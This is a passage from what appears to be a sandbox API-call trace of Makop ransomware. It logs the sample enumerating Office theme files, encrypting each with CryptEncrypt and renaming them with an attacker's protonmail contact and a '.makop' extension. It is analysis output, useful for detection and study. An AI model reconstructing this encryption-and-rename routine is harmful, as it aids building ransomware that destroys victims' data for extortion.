lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x785, lpOverlapped=0x0) returned 1 [0095.995] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x790, dwBufLen=0x790 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x790) returned 1 [0095.995] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.995] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x790, lpOverlapped=0x0) returned 1 [0095.995] CryptDestroyKey (hKey=0x48c7168) returned 1 [0095.995] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x864, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.995] SetEndOfFile (hFile=0x138) returned 1 [0096.002] GetProcessHeap () returned 0x48a0000 [0096.002] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0096.002] GetProcessHeap () returned 0x48a0000 [0096.002] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0096.003] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0096.003] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0096.003] CloseHandle (hObject=0x138) returned 1 [0096.004] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6b0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0096.004] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0096.004] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0096.006] GetProcessHeap () returned 0x48a0000 [0096.006] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0096.006] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0096.006] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0096.006] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x1, lpOverlapped=0x0) returned 1 [0096.010] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0096.010] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0096.010] GetProcessHeap () returned 0x48a0000 [0096.010] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0096.010] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0096.010] CryptDestroyKey (hKey=0x48c7168) returned 1 [0096.010] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0096.011] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0096.011] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0096.011] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0096.011] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0096.011] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0096.011] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0096.011] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0096.012] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.012] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x6b0f, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x6b0f, lpOverlapped=0x0) returned 1 [0096.015] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x6b10, dwBufLen=0x6b10 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x6b10) returned 1 [0096.016] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.016] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6b10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x6b10, lpOverlapped=0x0) returned 1 [0096.016] CryptDestroyKey (hKey=0x48c7168) returned 1 [0096.016] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x6be4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.016] SetEndOfFile (hFile=0x138) returned 1 [0096.022] GetProcessHeap () returned 0x48a0000 [0096.023] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0096.023] GetProcessHeap () returned 0x48a0000 [0096.023] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0096.023] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0096.023] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0096.024] CloseHandle (hObject=0x138) returned 1 [0096.025] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6b0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0096.025] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0096.025] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOLDSTRI", cAlternateFileName="")) returned 1 [0096.025] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI") returned 64 [0096.025] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\*.*") returned 68 [0096.025] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0096.027] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.027] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9250800, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe9250800, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xeafa, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOLDSTRI.ELM", cAlternateFileName="")) returned 1 [0096.027] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM") returned 77 [0096.027] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0096.027] GetProcessHeap () returned 0x48a0000 [0096.027] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0096.027] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0096.028] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0096.028] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x6, lpOverlapped=0x0) returned 1 [0096.032] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0096.032] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0096.032] GetProcessHeap () returned 0x48a0000 [0096.032] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0096.032] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0096.032] CryptDestroyKey (hKey=0x48c7168) returned 1 [0096.032] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0096.032] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0096.033] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0096.033] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0096.033] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0096.033] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0096.033] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0096.033] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0096.033] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.033] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0xeafa, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xeafa, lpOverlapped=0x0) returned 1 [0096.036] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xeb00, dwBufLen=0xeb00 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xeb00) returned 1 [0096.036] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.036] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xeb00, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xeb00, lpOverlapped=0x0) returned 1 [0096.037] CryptDestroyKey (hKey=0x48c7168) returned 1 [0096.037] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xebd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.037] SetEndOfFile (hFile=0x138) returned 1 [0096.044] GetProcessHeap () returned 0x48a0000 [0096.044] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0096.044] GetProcessHeap () returned 0x48a0000 [0096.044] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0096.044] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0096.044] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.elm.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0096.045] CloseHandle (hObject=0x138) returned 1 [0096.046] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x254, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOLDSTRI.INF", cAlternateFileName="")) returned 1 [0096.046] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF") returned 77 [0096.046] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0096.047] GetProcessHeap () returned 0x48a0000 [0096.047] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0096.047] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0096.047] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0096.047] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xc, lpOverlapped=0x0) returned 1 [0096.051] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0096.051] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0096.051] GetProcessHeap () returned 0x48a0000 [0096.051] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0096.051] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0096.051] CryptDestroyKey (hKey=0x48c7168) returned 1 [0096.051] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0096.051] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0096.051] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0096.052] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0096.052] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0096.052] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0096.052] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0096.052] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0096.052] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.053] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x254, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x254, lpOverlapped=0x0) returned 1 [0096.053] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x260, dwBufLen=0x260 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x260) returned 1 [0096.053] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.053] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x260, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x260, lpOverlapped=0x0) returned 1 [0096.053] CryptDestroyKey (hKey=0x48c7168) returned 1 [0096.053] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x334, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.053] SetEndOfFile (hFile=0x138) returned 1 [0096.059] GetProcessHeap () returned 0x48a0000 [0096.059] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0096.059] GetProcessHeap () returned 0x48a0000 [0096.059] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0096.059] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0096.059] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.inf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0096.065] CloseHandle (hObject=0x138) returned 1 [0096.065] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xd97, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0096.065] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0096.066] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0096.066] GetProcessHeap () returned 0x48a0000 [0096.066] 